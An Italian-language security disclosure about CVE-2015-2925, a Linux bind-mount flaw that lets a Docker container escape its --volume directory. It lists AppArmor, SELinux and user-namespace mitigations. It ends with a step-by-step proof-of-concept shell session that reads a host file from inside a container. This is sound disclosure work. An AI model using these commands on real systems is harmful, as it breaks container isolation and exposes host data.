Docker + CVE-2015-2925 = fuga da --volume

Una recente vulnerabilità in Linux, nota da circa metà dell'anno (diversi mesi pubblicamente), ha reso possibile fuggire dai bind mount. In particolare, nel caso di Docker, è possibile fuggire dall'interno della directory montata tramite l'opzione --volume verso il filesystem dell'host corrispondente.

Il Docker Security Team è già a conoscenza del problema e ha permesso di pubblicarlo per attirare l'attenzione pubblica.

Grazie a Jann Horn per averlo segnalato; in pratica l'ho solo riprodotto.

Mitigazione

Qualsiasi di queste opzioni è sufficiente:

• Kernel con AppArmor abilitato e profilo AppArmor di Docker
• Kernel con SELinux abilitato e policy SELinux di Docker
• Namespace utente disabilitati nel kernel

Note

• Non è ancora corretto in upstream e nelle distribuzioni e dovrebbe funzionare su qualsiasi kernel recente
• Non richiede root all'interno del container
• Le distribuzioni forniscono diverse versioni del pacchetto util-linux, di cui unshare(1) fa parte, e potrebbe restituire "Operation not permitted" nel tuo caso; il pacchetto di Debian Jessie è stato testato e funziona come previsto

Prova di concetto

# uname -r
3.18.9-aufs
# zgrep USER_NS /proc/config.gz
CONFIG_USER_NS=y
# docker -v
Docker version 1.6.1, build 97cd073
# docker pull debian:jessie
# mkdir /test && chmod 777 /test
# echo escaped > /etc/hostdata && chmod 644 /etc/hostdata
# docker run -i -t --rm -v /test:/test -u nobody debian:jessie
nobody@fc8925af0f19:/$ unshare -m -U -r /bin/bash
root@fc8925af0f19:/# cd /test
root@fc8925af0f19:/test# mkdir A A/B C D
root@fc8925af0f19:/test# mount --bind A D
root@fc8925af0f19:/test# cd D/B
root@fc8925af0f19:/test/D/B# mv /test/A/B /test/C
root@fc8925af0f19:/test/D/B# cat ../../../etc/hostdata
escaped